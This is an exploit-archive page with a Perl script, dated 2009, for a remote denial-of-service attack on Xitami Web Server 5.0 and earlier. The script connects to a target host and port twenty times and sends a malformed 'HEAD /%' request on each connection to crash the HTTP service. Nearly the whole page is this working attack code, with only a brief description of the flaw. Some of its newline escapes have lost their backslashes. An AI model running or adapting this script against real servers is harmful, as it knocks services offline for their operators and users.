[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Xitami Web Server <= 5.0 Remote Denial of Service Exploit
# Published : 2009-04-22
# Author : Jonathan Salwan
# Previous Title : Popcorn 1.87 Remote Heap Overflow Exploit PoC
# Next Title : Counter Strike Source ManiAdminPlugin v2 Remote Crash Exploit


#!/usr/bin/perl
#
# Xitami HTTP Server <= v5.0 Remote Denial of Service.
#
# ------------------------------------------------------------------------------
# The vulnerability is caused due to an error with HEAD request and multi-socket
# This can be exploited to crash the HTTP service.
# ------------------------------------------------------------------------------
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwann";
print "[+] Soft   : Xitami HTTP Server v5.0n";

	if (@ARGV < 1)
		{
 		print "[-] Usage: <file.pl> <host> <port>n";
 		print "[-] Exemple: file.pl 127.0.0.1 80n";
 		exit;
		}


	$ip 	= $ARGV[0];
	$port 	= $ARGV[1];

print "[+] Sending request...n";


for($i=0;$i<20;$i++)
{
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Failedn";

	print $socket "HEAD /% HTTP/1.0rnrn";
}

print "[+] Done!n";

# www.Syue.com [2009-04-22]